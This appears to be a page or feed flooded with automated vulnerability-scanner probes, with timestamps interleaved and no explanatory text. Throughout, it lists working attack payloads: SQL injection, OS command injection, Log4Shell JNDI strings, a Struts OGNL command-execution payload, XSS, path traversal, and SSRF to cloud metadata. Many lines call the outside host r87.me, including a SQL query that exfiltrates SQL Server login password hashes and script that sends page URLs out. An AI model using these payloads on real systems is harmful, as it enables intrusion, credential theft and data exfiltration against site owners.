"& SET /A 0xFFF9999-19839 &

-1 OR 1=1

"& ping -n 25 127.0.0.1 &

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

-1 OR 1=1

1 WAITFOR DELAY '0:0:25'-- /* d1432cc4-aa93-44eb-8c71-6e8a821cfaa4 */

/../../../../../../../../../../boot.ini

ns:netsparker056650=vuln

response.write(268409241-6760)'

hTTp://r87.com/n

${28275*28275-(32900)}

'& ping -n 25 127.0.0.1 &

'& SET /A 0xFFF9999-80613 &

N3tSp4rK3R

'"-->netsparker(0x019781)

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

NS-1NO

WAITFOR DELAY '0:0:25'-- /* 608589ad-6633-4414-ad7c-4a6b71ac94f4 */

/../../../../../../../../../../boot.ini.html

http://example.com/? ns: netsparker056650=vuln

http://r87.com/n?.html

#{28275*28275-(41370)}

+response.write(268409241-88174)'

& ping -n 25 127.0.0.1 &

=268409241-66925

]>&lfi;

-1 AND 'NS='ss

& SET /A 0xFFF9999-50544 &

N3tSp4rK3R
Jun 19, 2025 03:38

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x0197CB%29%3C%2FscRipt%3E

NS09竊쐓1折쩊BL跏SNGL賈NS09

1) WAITFOR DELAY '0:0:25'-- /* cff1a402-4b24-4067-afac-4d78f3ae9540 */

'"/$[].>

-1' OR 1=1 OR 'ns'='ns

';sleep(25000);ns();' /* 01c5e312-2cc7-4fee-a806-759ce483c52f */

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

http://r87.com/n?.html

https://www.hackerschool.org/trace.axd

1/../../../../../../../../../../boot.ini

ns:netsparker056650=vuln

]>&lfi;

${28275*28275-(28896)}
Jun 19, 2025 03:38

"+response.write(268409241-13662)+"

-1" OR 1=1 OR "ns"="ns

SET /A 0xFFF9999-57547 &

exec('xp_dirtree ''\\o7gvaow_z5szmcun5zn8s51jlf2ri_p4yzadyfww'+'mu0.r87.me'+'\c$\a''')

NS09竊쐓1折쩊BL跏SNGL賈NS09
Jun 19, 2025 03:38

ping -n 25 127.0.0.1 &

%dtd;]>&a;

o7gvaow_z5qb1ia_lvkggmly6rk-_hcnjc7rr-cjzzw.r87.me

') WAITFOR DELAY '0:0:25'-- /* 21a396b8-13df-450e-a36c-8c6e15116472 */

http://o7gvaow_z5l88h0x831vbunfstddcvevgizntyji5md.r87.me/p/

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDE5N0YyKTwvc2NyaXB0Pg==

%27%22%2f%24%5b%5d.%3e

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 586716c9-6d36-4e37-814e-917529e13ac4 */

-1 OR 17-7=10

'"-->

php://filter//resource=http://r87.com/n?.html

ns:netsparker056650=vuln

file:///boot.ini

www.hackerschool.org/trace.axd

Jun 19, 2025 03:39

SET /A 0xFFF9999-11593

${x?string["0"]}

-1 OR X='ss

#{28275*28275-(65878)}
Jun 19, 2025 03:39

"&ping -w 25 127.0.0.1 &"

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.o7gvaow_z5zpyhvnzwhgypiylpcvao3g83gw8jhn'+'agw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

%dtd;]>&a;

gethostbyname(trim('o7gvaow_z55w5zmmpuzukhjeftn9qbvixe6_ijdu'.'kro.r87.me'))

//o7gvaow_z5va0yjawryqq5dxih_ofmqak3lrqzljwre.r87.me

')) WAITFOR DELAY '0:0:25'-- /* c2aefe4e-4803-4c7f-a55a-811023d1c8d3 */

php://filter//resource=http://o7gvaow_z5bm05-cfq_hbfkndyb9371w1bky8klclsj.r87.me/p/

-1' OR 1=1 OR '1'='1

';sleep(25000);ns();' /* e7a5e76c-99cc-4a52-aea4-0089d16b9273 */
Jun 19, 2025 03:39

'" ns=netsparker(0x019823)

r87.com/n

c:\boot.ini

'"/$[].>
Jun 19, 2025 03:39

ns:netsparker056650=vuln
Jun 19, 2025 03:39

]>&
Jun 19, 2025 03:39

print(int)0xFFF9999-53522

54.180.177.131/trace.axd

-1' OR 1=1 OR '1'='1

${jndi:dns://o7gvaow_z5fp_d76uugoknwbjo9xbt${lower:k}sp5llkcck4zu.r87.me}

| SET /A 0xFFF9999-82565

'&ping -w 25 127.0.0.1 &'

%dtd;]>&a;

1;exec('xp_dirtree ''\\o7gvaow_z5mobchnhcpoxzporiszpwmx6mgicsnr'+'ygc.r87.me'+'\c$\a''')--

http://r87.me/r/?id=o7gvaow_z5vc4dswn_rcqfnt_cshmu7o2pllgi34gw4

o7gvaow_z573ks2yecp5ljtvzmb4vrjc7hqo42d5ind.r87.me/p/

gethostbyname(trim('o7gvaow_z5k_txbnvgrrajyyos51whsyjbz_deyr'.'og0.r87.me'));

1)) WAITFOR DELAY '0:0:25'-- /* 8da2aa8c-41dc-40d6-9620-588041631b3b */

-1" OR 1=1 OR "1"="1

hTTp://r87.com/n
Jun 19, 2025 03:39

%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 27c6e593-7ea0-4abd-b0d7-bf1488d6fc5f */
Jun 19, 2025 03:39

1 ns=netsparker(0x019880)

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

http://example.com/? ns: netsparker056650=vuln
Jun 19, 2025 03:39

127.100.11.2/trace.axd

%27%22%2f%24%5b%5d.%3e
Jun 19, 2025 03:39

print(int)0xFFF9999-86974;

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://o7gvaow_z58ygfspvkemdl${lower:p}yfohyywcu10y3ilmfw-k.r87.me}

-1" OR 1=1 OR "1"="1

1";expr 268409241 - 78924;"

@(268409241-48312)

&ping -w 25 127.0.0.1 &

o7gvaow_z5ud4_f7mdge6r26qb1b53jbmmywqr85kae.r87.me
Jun 19, 2025 03:40

-1';exec('xp_dirtree ''\\o7gvaow_z5u0zqjimys97-j6mhxsajqwnyxig_61'+'iau.r87.me'+'\c$\a''')--

http://o7gvaow_z5ohcm6no6nbhhbmhc1jrpvz947ov1qluzj.r87.me/p/
Jun 19, 2025 03:40

+gethostbyname(trim('o7gvaow_z5ey-uecyyziiq05-tw0jqxypyvruk88'.'hwu.r87.me'));//

Jun 19, 2025 03:40

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 560637b3-c6a0-447e-8d85-12062cc2b026 */

http://r87.com/n?.html
Jun 19, 2025 03:40

-1 OR 1=1

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

127.0.0.1/trace.axd

+print(int)0xFFF9999-87923;//

ns:netsparker056650=vuln
Jun 19, 2025 03:40

1';expr 268409241 - 19391;'

${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://o7gvaow_z51f72x${lower:f}wugpah7xcljgpyv7hfvmqgfchc0.r87.me}

-1 OR 1=1

ping -w 25 127.0.0.1 &

//o7gvaow_z5empfeldsasqgcqtz7up84fpaphdfdjpwg.r87.me
Jun 19, 2025 03:40

php://filter//resource=http://o7gvaow_z5p7yiqc4uibn1bhuq63yfgoris1jzygmnf.r87.me/p/
Jun 19, 2025 03:40

1) exec('xp_dirtree ''\\o7gvaow_z5xuu7_orkjzd6zgdgehkzzyla3hnjvs'+'iwi.r87.me'+'\c$\a''')--

Jun 19, 2025 03:40

'+gethostbyname(trim('o7gvaow_z5ljv85ia8kookez8suqznnxzfsuxujy'.'ije.r87.me'))+'

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 7a5d0d92-8dde-49f2-b8e8-a0ddd55f52bb */

http://r87.com/n?.html
Jun 19, 2025 03:40

-1 OR 1=1

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

file%3a%2f%2f%2fboot.ini

'+print(int)0xFFF9999-23284+'

[::1]/trace.axd

${jndi:dns://o7gvaow_z5gwhpwkpypu${lower:m}xybmttihwbspk7kjgqzzh0.r87.me}
Jun 19, 2025 03:40

1;expr 268409241 - 10947;x

http://r87.me/r/?id=o7gvaow_z5j6ls332zshevzpjbesc6cm36ad_utj2i0
Jun 19, 2025 03:40

ping -n 25 127.0.0.1

ns:netsparker056650=vuln
Jun 19, 2025 03:40

(268409241-88845)

o7gvaow_z5zb3trb-x2rcpybzjk8fkbk6i1xvnlzead.r87.me/p/
Jun 19, 2025 03:40

-1 OR 1=1

Jun 19, 2025 03:40

"+gethostbyname(trim('o7gvaow_z5gaykywes0gcffbmfy1p_fwsxmfg5j1'.'vdo.r87.me'))+"

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* a150ad6d-58d8-4a79-81a5-c601db2c495b */

1')exec('xp_dirtree ''\\o7gvaow_z5bgehlbanwrolaqw0n2lfqr0w6gszrz'+'kws.r87.me'+'\c$\a''')--

php://filter//resource=http://r87.com/n?.html
Jun 19, 2025 03:40

c%3a%5cboot.ini

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

https://www.hackerschool.org/elmah.axd

"+print(int)0xFFF9999-90422+"

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://o7gvaow_z5n-bwpbtyv${lower:-}ebzuv3qi-s8x5udlqkkozf0.r87.me}
Jun 19, 2025 03:41

ping -w 25 127.0.0.1

expr 268409241 - 48357;

NS-1NO

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* c6635bf2-4e4c-4d13-9d4d-cbc3f07c1c99 */

";l=document.createElement("link");l.rel="prefetch";l.href="//o7gvaow_z5nr3remksbiy5qx5geyaazfhieq6_xn"+"4su.r87.me/r/?"+location.href;document.head.appendChild(l);//

1))exec('xp_dirtree ''\\o7gvaow_z5dl1cgbjtcswvmzk42yy58o8vz-xa-r'+'df4.r87.me'+'\c$\a''')--

/../../../../../../../../../../web.config

-1 AND 'NS='ss

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

r87.com/n
Jun 19, 2025 03:41

www.hackerschool.org/elmah.axd

${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://o7gvaow_z5l1ocmo4paccesywmpm6b1yb${lower:v}ts
Jun 19, 2025 03:41

javascript:netsparker(0x019B41)

expr 268409241 - 13394

-1' OR 1=1 OR 'ns'='ns

|ping -n 25 127.0.0.1

{{268409241-38049}}
Jun 19, 2025 03:41

'{${gethostbyname(trim('o7gvaow_z5tal-eiqbt7ncmwtd3-w8i3alxfdp_4'.'iqu.r87.me'))}}'

/../../../../../../../../../../windows/win.ini

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 218ab333-e245-4616-b696-453b07134413 */

1'))exec('xp_dirtree ''\\o7gvaow_z5fl4fpgjmjvi9iznwwc9npqqv2vmkst'+'9j8.r87.me'+'\c$\a''')--

-1" OR 1=1 OR "ns"="ns

';l=document.createElement("link");l.rel="prefetch";l.href="//o7gvaow_z5bhypyzldbjyl9yop344gcqm5utlbii"+"3rg.r87.me/r/?"+location.href;document.head.appendChild(l);//

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

54.180.177.131/elmah.axd

{php}print(int)0xFFF9999-53089;{/php}

ns(0x019D40)

-1 OR 17-7=10

=268409241-42188
Jun 19, 2025 03:41

"& ping -n 25 127.0.0.1 &
Jun 19, 2025 03:41

file:///windows/win.ini

createobject("WScript.Shell").exec("nslookup o7gvaow_z54svu-x-zjpfxfkpdqhnbmcyjt4919a" & "izy.r87.me").StdOut.ReadAll

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o7gvaow_z5lhqeeano5xsg5zndnncckmjdolmpvj'+'vo8.r87.me'+'\c$\a''')--

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 1209eec0-12b7-4d9a-b213-3b137790c1ca */

NSFTW

-1 OR X='ss

'{${print(int)0xFFF9999-60061}}'

*/netsparker(0x019DB3);/*

127.100.11.2/elmah.axd

|expr${IFS}268409241${IFS}-${IFS}59246

Jun 19, 2025 03:42

-1' OR 1=1 OR '1'='1

+createobject("WScript.Shell").exec("nslookup o7gvaow_z56jjlr7whdjeovce5tbfiy5qbrdn6_r" & "y5q.r87.me").StdOut.ReadAll

((select sleep(25)))a-- 1 /* d39b6053-f52c-4717-8ff8-1707cd4c15b0 */

/../../../../../../../../../../windows/win.ini.html

'& ping -n 25 127.0.0.1 &
Jun 19, 2025 03:42

'+NSFTW+'

-1' OR 1=1 OR '1'='1

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o7gvaow_z5ul5izncnjzfzeoef28uowhbyscyadp'+'q9u.r87.me')exec sp_executesql @r

'"-->
Jun 19, 2025 03:42

[php]print(int)0xFFF9999-20634;[/php]

127.0.0.1/elmah.axd

'+netsparker(0x019F05)+'

"& SET /A 0xFFF9999-17081 &
Jun 19, 2025 03:42

-1" OR 1=1 OR "1"="1

${x?string["0"]}
Jun 19, 2025 03:42

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* d2644d1f-6a56-4122-b35e-3d905ed8b5b8 */

& ping -n 25 127.0.0.1 &
Jun 19, 2025 03:42

c:\windows\win.ini

+createobject("WScript.Shell").exec("nslookup o7gvaow_z5utv9bp3fsuplruqwtsdbsqgvilofsv" & "uki.r87.me").StdOut.ReadAll+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o7gvaow_z5vmerny8whyxje5ikcqe7xo0jx_maqj'+'d10.r87.me')exec sp_executesql @r--

-1" OR 1=1 OR "1"="1

Jun 19, 2025 03:42

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='30835').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

'& SET /A 0xFFF9999-99000 &
Jun 19, 2025 03:42

"+netsparker(0x019F36)+"

[::1]/elmah.axd

-1 OR 1=1
Jun 19, 2025 03:42

Jun 19, 2025 03:43

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o7gvaow_z59h13fuplgz669nrwoqccgn72bvn-xy'+'pjk.r87.me')exec sp_executesql @r--

ping -n 25 127.0.0.1 &
Jun 19, 2025 03:43

-1 OR 1=1
Jun 19, 2025 03:43

https://www.hackerschool.org/elmah

\';netsparker(0x019F80);///

& SET /A 0xFFF9999-50475 &
Jun 19, 2025 03:43

print localtime()*0+0xFFF9999-61970

Jun 19, 2025 03:43

@(268409241-99436)
Jun 19, 2025 03:43

-1 OR 1=1
Jun 19, 2025 03:43

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

SELECT dblink_connect('host=o7gvaow_z5o5qvafcy1kmcs4z7f2fdgnkhv-mwu9'||'huq.r87.me user=a password=a connect_timeout=2')

"+createobject("WScript.Shell").exec("nslookup o7gvaow_z5tqnm7fuk1fclnryjgcrh_0dt1d3thn" & "lwa.r87.me").StdOut.ReadAll+"

-1 OR 1=1
Jun 19, 2025 03:43

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

"&ping -w 25 127.0.0.1 &"
Jun 19, 2025 03:43

eval('print localtime()*0+0xFFF9999-81599')

SET /A 0xFFF9999-35710 &
Jun 19, 2025 03:43

www.hackerschool.org/elmah

'
Jun 19, 2025 03:43

1';SELECT pg_sleep(25)-- /* 793c9fd0-41bb-46a7-aae4-a77c2b815e1f */

{{ 268409241- 4578 }}
Jun 19, 2025 03:43

',netsparker(0x019FAB),'

Jun 19, 2025 03:43

dblink_connect('host=o7gvaow_z5fyvbqintyssfw6kdavl0_f0eknmo0-'||'ysy.r87.me user=a password=a connect_timeout=2')

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

NS-1NO
Jun 19, 2025 03:43

gethostbyname(lc 'o7gvaow_z5gnxqduflobat_edsiimjxqjf37q6b-'.'f4w.r87.me')

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

'&ping -w 25 127.0.0.1 &'
Jun 19, 2025 03:43

'+print localtime()*0+0xFFF9999-53145+'

-1 AND 'NS='ss
Jun 19, 2025 03:44

54.180.177.131/elmah

SET /A 0xFFF9999-86390
Jun 19, 2025 03:44

netsparker(0x019FD4)

(268409241-37342)
Jun 19, 2025 03:44

1;SELECT pg_sleep(25)-- /* 5bf91e59-33c1-4de9-91d6-ab29522b8877 */

cast((SELECT dblink_connect('host=o7gvaow_z5wepsadwgusjs_qujz6qwmnn9vahmih'||'cpk.r87.me user=a password=a connect_timeout=2')) as numeric)

-1' OR 1=1 OR 'ns'='ns
Jun 19, 2025 03:44

eval('gethostbyname(lc 'o7gvaow_z5c-5vdt7wfu1ogxsuiuhtw3y0hcpvxw'.'gsi.r87.me')')

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

Jun 19, 2025 03:44

127.100.11.2/elmah

&ping -w 25 127.0.0.1 &
Jun 19, 2025 03:44

"+print localtime()*0+0xFFF9999-90781+"

-1" OR 1=1 OR "ns"="ns
Jun 19, 2025 03:44

| SET /A 0xFFF9999-95218
Jun 19, 2025 03:44

{{ 268409241- 41004 }}
Jun 19, 2025 03:44

netsparker(0x01A037);

SELECT pg_sleep(25)-- /* c8c2985e-ad93-4645-aa02-5e30f77c5cb0 */

-1 OR 17-7=10
Jun 19, 2025 03:44

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(55)||chr(103)||chr(118)||chr(97)||chr(111)||chr(119)||chr(95)||chr(122)||chr(53)||chr(98)||chr(119)||chr(97)||chr(115)||chr(101)||chr(120)||chr(111)||chr(121)||chr(112)||chr(122)||chr(115)||chr(52)||chr(103)||chr(106)||chr(45)||chr(51)||chr(112)||chr(118)||chr(114)||chr(115)||chr(113)||chr(99)||chr(112)||chr(100)||chr(120)||chr(121)||chr(56)||chr(111)||chr(112)||chr(100)||chr(108)||chr(57)||chr(107)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

/../../../../../../../../../../windows/iis6.log

'+gethostbyname(lc 'o7gvaow_z5e4lfg5pdb5idbefjjbogigwlut0toe'.'hq8.r87.me')+'

127.0.0.1/elmah

ping -w 25 127.0.0.1 &
Jun 19, 2025 03:44

";l=document.createElement("link");l.rel="prefetch";l.href="//o7gvaow_z5cl4nsag81ptlgpkg3bjsxtyuuiz_
Jun 19, 2025 03:44

-1 OR X='ss
Jun 19, 2025 03:44

arguments[1].end(require('child_process').execSync('expr 268409241 - 91055'))

1";expr 268409241 - 58342;"
Jun 19, 2025 03:44

-1' OR 1=1 OR '1'='1
Jun 19, 2025 03:44

/../../../../../../../../../../proc/self/fd/2

'+netsparker(0x01A099)+'

'||(SELECT dblink_connect('host=o7gvaow_z5qoplemgfiztfhppks_lo1ex8kr0g-o'||'gt0.r87.me user=a password=a connect_timeout=2'))||'

"+gethostbyname(lc 'o7gvaow_z5_ubriencadnii_g5lr3kjvkhj3sqlb'.'qyi.r87.me')+"

1);SELECT pg_sleep(25)-- /* 1be6d059-f7c6-46e5-9240-35289091cbe6 */

ping -n 25 127.0.0.1
Jun 19, 2025 03:45

[::1]/elmah

-1' OR 1=1 OR '1'='1
Jun 19, 2025 03:45

arguments[1].end(require('child_process').execSync('set /A 268409241 - 93174'))

';l=document.createElement("link");l.rel="prefetch";l.href="//o7gvaow_z5daixnpywefuii0ngvurcogn8apkx
Jun 19, 2025 03:45

1';expr 268409241 - 17351;'
Jun 19, 2025 03:45

-1" OR 1=1 OR "1"="1
Jun 19, 2025 03:45

/../../../../../../../../../../proc/self/fd/2.html

'"@-->netsparker(0x01A1E8)

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

(select UTL_INADDR.GET_HOST_ADDRESS('o7gvaow_z5w842kdngybighafl14pmncje7yhxru'||'o3e.r87.me') from DUAL)

1');SELECT pg_sleep(25)-- /* d4b24649-b88f-4a15-9a88-b84e521eaf54 */

http://aws.r87.me/latest/meta-data/public-hostname

-1" OR 1=1 OR "1"="1
Jun 19, 2025 03:45

ping -w 25 127.0.0.1
Jun 19, 2025 03:45

%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-45019)}

nslookup o7gvaow_z5b6zsnprtcth7liq0gmpcoohdcj5wf6^uom.r87.me&'\"`0&nslookup o7gvaow_z5b6zsnprtcth7liq0gmpcoohdcj5wf6^uom.r87.me&`'

-1 OR 1=1
Jun 19, 2025 03:45

1;expr 268409241 - 59462;x
Jun 19, 2025 03:45

Jun 19, 2025 03:45

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

%22%2bnetsparker(0x01A22F)%2b%22

/../../../../../../../../../../etc/httpd/logs/error.log

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o7gvaow_z5o2h-wgtwvhe5h6h_1w3tb9wkcp-or1'||'flm.r87.me') from DUAL))))

-1 OR 1=1
Jun 19, 2025 03:45

1'));SELECT pg_sleep(25)-- /* b44945aa-da0b-4f95-a969-bd7ec61afd7b */

http://169.254.169.254/latest/meta-data/public-hostname

|ping -n 25 127.0.0.1
Jun 19, 2025 03:45

p "#{0xFFF9999.to_i-`echo 99488`.to_i}"

& nslookup o7gvaow_z5luclwxsg7qdjiez8xicsrjh4qfm0xv^oaa.r87.me&'\"`0&nslookup o7gvaow_z5luclwxsg7qdjiez8xicsrjh4qfm0xv^oaa.r87.me&`'

-1 OR 1=1
Jun 19, 2025 03:45

expr 268409241 - 67327;
Jun 19, 2025 03:45

%27
Jun 19, 2025 03:45

netsparker(0x01A295)

-1 OR 1=1
Jun 19, 2025 03:46

http://127.0.0.1:22

1));SELECT pg_sleep(25)-- /* 2cca94b5-4ac7-49ec-a87a-4e7683156e86 */

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o7gvaow_z5nurwzeah-b9zrko2qe1udcqqls88tz'||'4jk.r87.me') from DUAL))||'

/../../../../../../../../../../etc/httpd/logs/error_log

__import__('os').popen(('expr 268409241 - {0}').format('33539')).read()

'
Jun 19, 2025 03:46

'& nslookup o7gvaow_z5ddb5xuvne0pjwpqggtlbuux3mxuy1o^upg.r87.me&'\"`0&nslookup o7gvaow_z5ddb5xuvne0pjwpqggtlbuux3mxuy1o^upg.r87.me&`'

expr 268409241 - 61470
Jun 19, 2025 03:46

//r87.com/?0x01A2F5

http://54.180.177.131:22

NS-1NO
Jun 19, 2025 03:46

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Jun 19, 2025 03:46

(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(55)||chr(103)||chr(118)||chr(97)||chr(111)||chr(119)||chr(95)||chr(122)||chr(53)||chr(51)||chr(106)||chr(121)||chr(55)||chr(51)||chr(102)||chr(53)||chr(122)||chr(51)||chr(122)||chr(113)||chr(106)||chr(107)||chr(98)||chr(108)||chr(98)||chr(110)||chr(99)||chr(100)||chr(102)||chr(51)||chr(117)||chr(113)||chr(102)||chr(118)||chr(99)||chr(105)||chr(106)||chr(112)||chr(119)||chr(95)||chr(120)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 684119f9-5ada-400d-a856-6e0141fd1e70 */

/../../../../../../../../../../var/log/apache2/error.log

__import__('os').popen(('SET /A 268409241 - {0}').format('77800')).read()

"& nslookup o7gvaow_z5elb2pfnghsio97ojpdyg2zh78dtmbh^vo4.r87.me&'\"`0&nslookup o7gvaow_z5elb2pfnghsio97ojpdyg2zh78dtmbh^vo4.r87.me&`'

-1 AND 'NS='ss
Jun 19, 2025 03:46

Jun 19, 2025 03:46

http://[::1]:22

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Jun 19, 2025 03:46

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(55)||chr(103)||chr(118)||chr(97)||chr(111)||chr(119)||chr(95)||chr(122)||chr(53)||chr(54)||chr(122)||chr(98)||chr(113)||chr(55)||chr(103)||chr(53)||chr(98)||chr(116)||chr(57)||chr(57)||chr(115)||chr(54)||chr(95)||chr(109)||chr(111)||chr(105)||chr(110)||chr(100)||chr(107)||chr(114)||chr(116)||chr(113)||chr(118)||chr(111)||chr(103)||chr(100)||chr(48)||chr(106)||chr(105)||chr(95)||chr(112)||chr(113)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

-1' OR 1=1 OR 'ns'='ns
Jun 19, 2025 03:46

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* de86e350-47a7-4ca8-b52d-f8796deda27a */

/../../../../../../../../../../var/log/apache/error.log

response.write(268409241-43932)'
Jun 19, 2025 03:46

nslookup "o7gvaow_z55ppi_bzkm2cr1bvbnfosl7yb9lqpbx""99a.r87.me"

-1" OR 1=1 OR "ns"="ns
Jun 19, 2025 03:46

|expr${IFS}268409241${IFS}-${IFS}73351
Jun 19, 2025 03:46

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Jun 19, 2025 03:47

http://127.0.0.1:3306

-1 OR 17-7=10
Jun 19, 2025 03:47

ns@mail.ns'"/>()%26%25netsparker(0x01A4F1)

